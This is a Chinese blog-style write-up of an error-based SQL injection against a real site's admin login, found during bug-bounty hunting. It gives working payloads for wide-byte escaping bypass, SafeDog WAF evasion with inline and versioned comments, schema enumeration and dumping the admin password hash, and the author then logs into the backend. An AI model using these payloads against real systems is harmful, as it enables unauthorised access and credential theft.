记一次艰难的SQL注入(过安全狗)

Posted 漫路在线

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次艰难的SQL注入(过安全狗)相关的知识,希望对你有一定的参考价值。

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

文章目录

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub靶机渗透之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞
  12. 文件上传绕过
  13. 文件包含漏洞
  14. Vulnhub靶机渗透之zico2
  15. 命令执行漏洞
  16. 逻辑漏洞(越权访问和支付漏洞)
  17. 网站后台安全
  18. weevely的使用及免杀(Linux中的菜刀)
  19. MSF(1)——一次完整的渗透流程
  20. WebShell命令执行限制(解决方案)

1.1 前言

最近在挖补天的src,然后挖出了不少SQL注入,完了出了数据库名就不管那么多提交了。今天挖了个报错注入的,突然一激灵,说我不能这样颓废下去了,刚好是个后台登录的界面,我决心要登进它的后台。

2.1 注入测试

bp抓包,加单引号,没有什么用

很显然,这里开启了php的魔术函数,把单引号自动转义了

2.1.1 绕过第一式:汉字双字节编码绕过单引号

当开启了魔术函数过滤了引号时,可以在引号前加上一个汉字双字节编码,可以实现绕过

例如构造Payload为:

username=%BF'

%BF解码之后是中文乱码

此时发送数据包

可以看到SQL语句变成:

SELECT * FROM `sl_admin` WHERE `username`='¿''

成功过滤单引号

程序报错,考虑使用爆错注入

3.1 获取数据库

既然想进后台,就需要账号密码,就要注数据库,表名,列名,内容

第一步是注出数据库,版本,用户等基本信息

先把Payload放出来,再进行讲解

Payload:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#

数据库名不能放出来,在本文中用test_db代替

用这个Payload成功注出了数据库,因而版本信息,当前用户只是改一个值的事,在这里也放出来

数据库:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
用户:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
版本:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#

3.1.1 绕过第二式:注释

再第一个绕过那里,可以看到SQL语句后面还多了个单引号。这个单引号要么把它闭合,要么就注释掉。由于这里开启了魔术函数,所以选择注释。

我原本是想用 –+ 来注释的,但是网站用了安全狗,所以加号被干掉了,那就只能用 # 注释了。

注释成功,很简单,没什么好说的

3.1.2 绕过第三式:内联注释绕过空格

安全狗把空格干掉了

空格或者加号都会被干掉


当空格和加号都被干掉时,可以用内联注释 /**/ 代替实现绕过

username=%BF/**/and/**/1'

4.1 获取表名

再得到数据库后要获取表名

先把Payload放出来

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#


管理员表用admin代替,其他表用test_table代替

4.1.1 绕过第四式:select过安全狗

注表名需要用select语句,因此我最开始写的Payload是这样的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#

很快啊,被安全狗拦了


这种select的绕过是最麻烦的,我在尝试了URL编码绕过混淆大小写绕过脏数据绕过均告失败后,打开了万能的百度,看到了这篇文章

https://www.cnblogs.com/w-i-n-d/p/8649590.html

在该文中,用 /*!50000%53elect*/ 代替select实现绕过

我尝试了一下,成功实现了绕过(见上图)

后来我测试了一下,其他关键词也可以用这种方法绕过

select
/*!50000%53elect*/

order 
 /*!50000%53elect*/

union
/*!50000%75nion*/

5.1 获取列名

得到了表名和列名,接下来就是要获取列名

先放Payload:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)#

5.1.1 绕过第五式:骚操作绕过魔术函数

按照正常的注入流程,写出来的Payload应该是这样的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)#

问题在于,魔术函数干掉了我的单引号

于是我就开始各种百度,Google,查找怎么绕过魔术函数

Noway

就在陷入死胡同时,我灵机一动

我在最开始学SQL注入的时候,看到information_schema数据库获取信息时,专门去看了这个数据库的结构,在columns这个表里有个字段叫 column_name ,是攻击者需要获取的信息,有个字段叫 table_schema ,对应的是该字段所在的数据库名,有个字段叫 table_name ,对应的是该字段所在的表名

因此,当同时获取了数据库名和表名时,可以获取到对应表的所有列名。

但是在表数量少且无法利用表名时,可以只指定数据库名,然后利用 limit 语句获取当前数据库所有的字段,再通过经验判断表名

例如,我想知道 数据库 testadmin表的内容

select column_name from information_schema.columns where table_schema like 'test';


这时通过直觉可以判断出,admin表中的字段是 id username password

同理,在该站点中,可以通过这种方法,获取字段

当Payload指定为:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)#

得到的字段数为:typeid

通过修改limit后的值,就可以得到所有的字段,包括admin表中的字段

经过测试,当值为 7,1 时可以得到字段 username ; 当值为 8,1 时可以得到字段 password

6.1 爆帐密

得到了以上信息后,爆帐密就很简单了

爆账号:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#
爆密码:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)#

因为密码长度为32,而这里最多只能显示31为,因此用substr函数分两次爆出

解密得到账号密码

登录成功

总结

实战注入的难度比靶场大得多,各种绕过,各种骚操作。

要学会利用搜索工具,更要学会选择性放弃

当一条路走不通就换另一种方法,也许就会柳暗花明又一村

——2022.2.1

以上是关于记一次艰难的SQL注入(过安全狗)的主要内容,如果未能解决你的问题,请参考以下文章

记一次720度托马斯回旋过狗!

sql注入100种姿势过waf:过安全狗

记一次SQL注入实战

记一次SQL注入实战

黑客笔记:记一次sql注入到内网漫游

黑客笔记:记一次sql注入到内网漫游